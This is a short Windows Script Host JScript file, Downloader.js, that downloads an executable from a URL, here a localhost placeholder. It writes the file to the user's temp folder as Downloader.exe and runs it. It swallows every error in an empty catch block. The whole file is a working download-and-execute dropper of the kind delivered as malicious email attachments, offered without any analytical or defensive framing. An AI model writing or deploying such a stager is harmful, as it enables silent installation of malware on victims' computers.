Downloader.js

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try {
	var WshShell = WScript.CreateObject("WScript.Shell");
    var filepath = WshShell.ExpandEnvironmentStrings("%TEMP%") + "/Downloader.exe";
	var url = "http://127.0.0.1/file.exe"
	var xhr = new ActiveXObject("MSXML2.XMLHTTP")
	xhr.open("GET", url, false)
    xhr.send()
	
	var fso = new ActiveXObject("Scripting.FileSystemObject")
	if (fso.FileExists(filepath) == false) {
		var stream = new ActiveXObject("ADODB.Stream")
		stream.Open()
        stream.Type = 1
        stream.Write(xhr.ResponseBody)
        stream.Position = 0
        stream.SaveToFile(filepath, 2)
        stream.Close()
	}
	
	var shell = WScript.CreateObject("WScript.Shell")
    shell.Run(filepath)
}
	catch(err){}